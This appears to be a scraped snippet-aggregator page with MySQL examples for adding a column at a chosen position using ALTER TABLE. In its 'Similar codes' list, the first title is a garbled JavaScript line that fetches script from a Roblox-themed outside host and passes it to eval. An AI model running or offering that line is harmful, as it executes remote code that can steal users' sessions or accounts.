Mysql add column after another

-- ALTER TABLE tbl_name ADD COLUMN column_name column_definition 
--		[FIRST|AFTER existing_column];
ALTER TABLE office ADD COLUMN phone VARCHAR(200) DEFAULT '000' AFTER name;
ALTER TABLE office ADD COLUMN flag INT(1) FIRST;
ALTER TABLE office ADD COLUMN last_col INT(2);	-- Last column is default position
-- ↓ Test it (Fiddle)

Source: sqlfiddle.com

Mysql alter table add column

ALTER TABLE table
  ADD [COLUMN] column_name column_definition
  [FIRST|AFTER existing_column];

Source: mysqltutorial.org

Similar codes

4 votes197 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
4 votes247 views3 answers
Sql find second highest salary employee
SQL
0 vote218 views1 answer
Sql query to find difference between total no. of rows and distinct rows in sql server
SQL
0 vote218 views1 answer
C# mysql update statement set value to null
SQL
2 votes221 views1 answer
Sql column values comma separated
SQL
0 vote227 views1 answer
Compare two tables to find unmatched records
SQL
0 vote213 views1 answer
Mysql vs sql server performance benchmark
SQL
0 vote205 views1 answer
Sql select rows between 1000 and 2000
SQL
0 vote222 views1 answer
Select from column mysql
SQL
0 vote218 views1 answer
ERROR: column "hourly_visitors.hour" must appear in the GROUP BY clause or be used in an aggregate function
SQL